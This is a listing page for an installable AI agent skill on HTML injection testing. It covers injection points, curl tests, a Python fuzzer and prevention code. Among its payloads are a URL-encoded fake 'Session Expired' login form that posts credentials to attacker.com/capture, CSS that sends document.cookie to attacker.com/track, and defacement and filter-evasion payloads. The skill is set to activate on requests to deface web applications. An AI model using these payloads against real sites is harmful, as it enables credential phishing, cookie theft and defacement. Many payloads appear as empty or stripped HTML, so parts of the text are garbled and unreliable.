This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
Add this skill
npx mdskills install sickn33/html-injection-testingComprehensive security testing guide with detailed techniques, payloads, and prevention methods
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
HTML injection occurs when user input is reflected in web pages without proper sanitization:
Welcome,
?name=Injected Content
Welcome, Injected Content
Key differences from XSS:
Attack goals:
Map application for potential injection surfaces:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
Common vulnerable parameters:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
Test with simple HTML tags:
Test Injection
Bold Text
Italic Text
Underlined Text
Red Text
Injected DIV
Injected paragraph
Line breaks
[Click Here](http://attacker.com)
[Legitimate Link](http://attacker.com)


Testing workflow:
# Test basic injection
curl "http://target.com/search?q=Test"
# Check if HTML renders in response
curl -s "http://target.com/search?q=Bold" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
Payload persists in database:
Name: John Doe
Bio:
Site Under Maintenance
Please login at [portal.company.com](http://attacker.com/login)
Great article!
Payload in URL parameters:
http://target.com/welcome?name=Welcome%20Admin
http://target.com/search?q=Your%20account%20has%20been%20compromised
Payload in POST data:
# POST injection test
curl -X POST -d "comment=Malicious Content" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=alert(1)&email=test@test.com" \
http://target.com/register
Inject into displayed URLs:
http://target.com/page/Injected
http://target.com/users//profile
Create convincing phishing forms:
Session Expired
Your session has expired. Please log in again.
Username:
Password:
input { background: url('http://attacker.com/log?data=') }
Verify
URL-encoded phishing link:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
Website appearance manipulation:
HACKED BY SECURITY TESTER
body{display:none}
This site has been compromised

SECURITY VULNERABILITY DETECTED
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
Content
Evade basic filters:
Test
alert(1)
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
Split Tag
Null Byte
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
\u003ch1\u003eUnicode\u003c/h1\u003e
Hover me
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"Test",
"Bold",
"alert(1)",
"",
"Click",
"Styled",
"Moving",
"",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "" in response.text or "" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
Secure coding practices:
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
Server-side protections:
| Payload | Purpose |
|---|---|
Test | Basic rendering test |
Bold | Simple formatting |
[Link](evil.com) | Link injection |
| `` | Image tag test |
| `` | Style injection |
| `` | Form hijacking |
| Context | Test Approach |
|---|---|
| URL parameter | ?param=test |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |
| Type | Example |
|---|---|
| URL encoding | %3Ch1%3E = `` |
| HTML entities | <h1> = `` |
| Double encoding | %253C = < |
| Unicode | \u003c = < |
| Issue | Solutions |
|---|---|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
Install via CLI
npx mdskills install sickn33/html-injection-testingHTML Injection Testing is a free, open-source AI agent skill. This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
Install HTML Injection Testing with a single command:
npx mdskills install sickn33/html-injection-testingThis downloads the skill files into your project and your AI agent picks them up automatically.
HTML Injection Testing works with Claude Code, Claude Desktop, Cursor, Vscode Copilot, Windsurf, Continue Dev, Codex, Gemini Cli, Amp, Roo Code, Goose, Opencode, Trae, Qodo, Command Code. Skills use the open SKILL.md format which is compatible with any AI coding agent that reads markdown instructions.